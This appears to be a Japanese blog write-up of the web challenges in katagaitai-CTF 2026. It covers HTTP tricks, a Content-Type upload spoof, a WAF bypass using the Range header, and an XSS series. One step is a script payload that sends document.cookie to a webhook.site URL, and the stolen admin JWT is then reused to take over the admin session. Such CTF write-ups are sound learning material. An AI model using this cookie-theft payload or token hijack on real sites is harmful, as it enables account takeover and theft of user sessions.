0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

katagaitai-CTF 2026 ~Web編~

0
Last updated at Posted at 2026-02-01

katagaitai-CTF

詳細

はじめに

これは、NRIの採用活動?の一環で行われたCTFのようです。
(結果は採用に一切影響しないとのこと)
結果は、全完でした。

一旦、WebのみのWriteUPです。

HTTP world Pt.1

HTTPの世界を探訪する前に、HTMLの世界をおさらいしましょう。

リンクを開くとこんな感じです。
image.png

ソースを見てみるとフラグがありました!
flag:katagaitai-CTF{HT_of_HTML_and_HTTP_means_HyperText}

HTTP world Pt.2

改めてHTTPの世界を探訪しましょう。フラグはレスポンスのどこかに隠されています。

リンクを開くとこんな感じです。
image.png

開発者モードでレスポンスを確認すると、フラグがありました!

image.png

flag:katagaitai-CTF{head_header_headest}

HTTP world Pt.3

アクセス先のミッションを達成して、4つの条件を満たすとフラグが取得できます。

GET, POST, PUT, DELETE を送ることで、フラグが取れるよう。

image.png

上の画像で、Requestの1行目、GETの部分をそれぞれに変えることによって、フラグが取れました。

image.png

flag:katagaitai-CTF{There_are_much_more_verbs_in_HTTP}

Parroting

あなたの目的はalert()関数を呼び出すことです。

サイトはこんな感じ。
image.png

XSSを入れると、フラグが出てきた。

image.png

flag:katagaitai-CTF{:parrot:_Slack_Emoji_Alias_Has_Conflicted_So_Sad}

Type Spoofing

Image uploaderとありますが、 attack.php をアップロードすれば攻撃成功です。

image.png

サイトはこんな感じ。
ちなみに配布されたattack.phpは以下の通りです。

attack.php
<?= $_ENV['FLAG4'] ?>

BurpSuiteでContent Typeを変更して、アップロードすれば良さそう。

Content-Type: text/phpからContent-Type: image/pngに変更。

image.png

フラグが表示されました。
flag:katagaitai-CTF{ThisTrickIsAppliedForWebshell}

WAF bypass

WAF (Web Application Firewall) が通信を中継しています。 katagaitai-CTF{...} という文字列を見つけると [censored] に変換してしまうようです。

サイトを開くとこんな感じ。
image.png

「The flag is [censored]」と、WAFによって、検閲されていることがわかります。
配布されたWAFのプログラムの一部抜粋です。

index.js
app.use('/', proxy('http5', {
    userResDecorator: function(proxyRes, proxyResData, userReq, userRes) {
        // Replace html contents to censor flags!
        return String(proxyResData).replaceAll(/katagaitai-CTF\{.*\}/g, "[censored]");
    }})
);

ここで、正規表現によるブロックがあることが確認できます。
ただ、このブロックではkatagaitai-CTF{から、}が出てくるまでの文字列を[censored]に置き換えていることがわかります。

ここで詰まってしまいました。。。
一旦、サイトのレスポンスを確認すると、、、
image.png

accept-ranges: bytesが入っていることに気づきました。

これについて調べると

とのことで、レスポンスの一部のみを取得することができるそうです。

よって、Range: bytes=13-をリクエストヘッダに追加することで、フラグの先頭の文字(k)を除いた文字列が出現しました。

↓リクエスト
image.png

↓レスポンス
image.png

flag:katagaitai-CTF{waf_censored_the_flag!}

XSSNS Pt.1

本格的なXSSの問題に取り組む前に、CTF典型の報告機能を体験してもらいます。 「Report admin」のフォームにURLを投稿すると、管理者アカウントになりきったbotが指定のURLにアクセスしてくれます。 この管理者アカウントのユーザ名が最初のフラグです。

サイトにアクセスするとこんな感じです。

image.png

Botに報告できる形なので、XSSを埋め込み、CookieにあるJWTをとって、ユーザー名を取得できるか挑戦します。

そのためは、

<script>fetch('https://webhook.site/OOOO/?'+document.cookie)</script>

を投稿文に埋め込みます。
(サニタイズされていないことを祈りながら)

投稿後のサイトを自分で見てみると、

image.png

本文に打ったはずの、script文が消えてWebHook側にアクセスがあったので、回避できたことがわかりました!!

あとは、Botにクロールさせるだけですね。

image.png

その後WebHookのサイトを見に行くと、、、

image.png

Tokenが引っこ抜けました!!

などを用いて、見やすくデコードすると以下の通りです。

image.png

無事、Botのユーザー名がわかりました!!!

flag: katagaitai-CTF{the_adm1n_is_w4tch1n9_you}

WriteUP書いていて気づいたんですけど、投稿を見たユーザが分かるようになっていたんですね。。。

XSSNS Pt.2

実践的なXSSに挑戦しましょう。
今度の目的は管理者のユーザーエージェントを取得することです。
先ほどと同じアプリを使用します。
https://webhook.site/ を使用すると、「Your unique URL」に対するアクセス内容がすべて記録されるため、お手軽な誘導先として使用できます。

UserAgentは実は先ほどの問題で、取ることができています。

image.png

よくみると、User-agentの部分にフラグが埋まっていますね。

flag: katagaitai-CTF{Mozilla_AppleWebKit_Gecko_Chrome_Safari_CHAOS}

XSSNS Pt.3

今回のXSS集大成の課題は、管理者ユーザが作成した投稿を見ることです。
先ほどと同じアプリを使用します。

これも、先ほどのJWTを用いたら、管理者ユーザとしてログインできそうですね。

JWT(ジョットって読むそうです。最近まで知らなかった。。。)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImthdGFnYWl0YWktQ1RGe3RoZV9hZG0xbl9pc193NHRjaDFuOV95b3V9IiwiaWQiOiJKdDlmZzhGZTRLb3ciLCJpYXQiOjE3Njk4NjY4MjMsImV4cCI6MTc2OTg3MDQyM30.S_Hye0QcZzg9dXToZ6c7dfJrQnO2MWDxXPsxOBEM9aU

トークンを付け替えて、、、
image.png

リロードして、、、
image.png

The third flagというタイトルの投稿を開くと、、、
image.png

フラグゲットです。

flag: The third flag is katagaitai-CTF{y0u_4r3_41r34dy_an_XSS_m4st3r}

おわりに

27卒限定という対象者が限られたCTFに出ることができたのは面白かったです!!

終了後に参加者や社員の方とお話しできたら面白いかと、ほんの少しだけ思いました。
アンケートに書こうと思ったまま忘れてしまったので、ここで。。。

実は、開催日(1/31)の次の日が、防衛省主催のCTFです。
こちらは、27卒以外の学生の方も出場されるようなので、負けないように頑張ります。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?